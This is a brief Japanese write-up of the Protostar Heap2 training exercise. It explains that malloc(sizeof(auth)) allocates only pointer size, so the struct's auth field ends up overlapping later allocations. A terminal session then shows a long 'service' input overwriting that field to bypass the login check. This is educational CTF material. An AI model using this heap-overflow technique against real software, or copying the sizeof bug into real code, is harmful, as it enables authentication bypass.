Exploit Exercises Protostar Heap2
0,1と比較して簡単。
Protostar Heap2
struct auth {
char name[32];
int auth;
};
struct auth *auth;
に対して、
auth = malloc(sizeof(auth));
としてしまっている。つまりsizeof(struct auth)
でなくsizeof(struct auth *)
になっている。
auth->auth
を真にするだけでよいので簡単。
$ ./heap2
[ auth = (nil), service = (nil) ]
auth AAAA
[ auth = 0x8973008, service = (nil) ]
login
please enter your password
[ auth = 0x8973008, service = (nil) ]
service AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[ auth = 0x8973008, service = 0x8973018 ]
login
you have logged in already!
[ auth = 0x8973008, service = 0x8973018 ]